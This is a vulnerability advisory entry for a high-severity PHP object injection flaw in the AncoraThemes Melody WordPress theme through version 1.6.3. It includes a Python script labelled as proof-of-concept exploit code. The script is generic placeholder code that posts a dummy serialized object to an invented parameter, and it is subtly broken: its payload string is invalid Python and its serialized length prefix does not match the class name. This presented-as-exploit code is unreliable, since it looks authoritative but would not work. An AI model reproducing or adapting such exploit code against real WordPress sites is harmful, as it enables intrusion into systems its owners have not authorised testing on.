Deserialization of Untrusted Data vulnerability in AncoraThemes Melody melodyschool allows Object Injection.This issue affects Melody: from n/a through <= 1.6.3.
CVSS Details
CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
AncoraThemes Melody <= 1.6.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Replace with actual target)
target_url = "http://example.com/wordpress/"
# Exploit payload generation (Conceptual)
# In a real scenario, use a tool like PHPGGC to generate a valid POP chain payload
# Example payload structure for PHP Object Injection:
# O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}
# This is a placeholder for the actual serialized payload
generated_payload = "O:8:"VulnerableClass":0:{}"
# The vulnerable parameter might be a cookie, POST data, or query param
# based on the specific vulnerability in the theme.
data = {
"vulnerable_parameter": generated_payload
}
try:
response = requests.post(target_url, data=data)
if response.status_code == 200:
print("[+] Payload sent successfully.")
print("[+] Check server for shell execution or changes.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")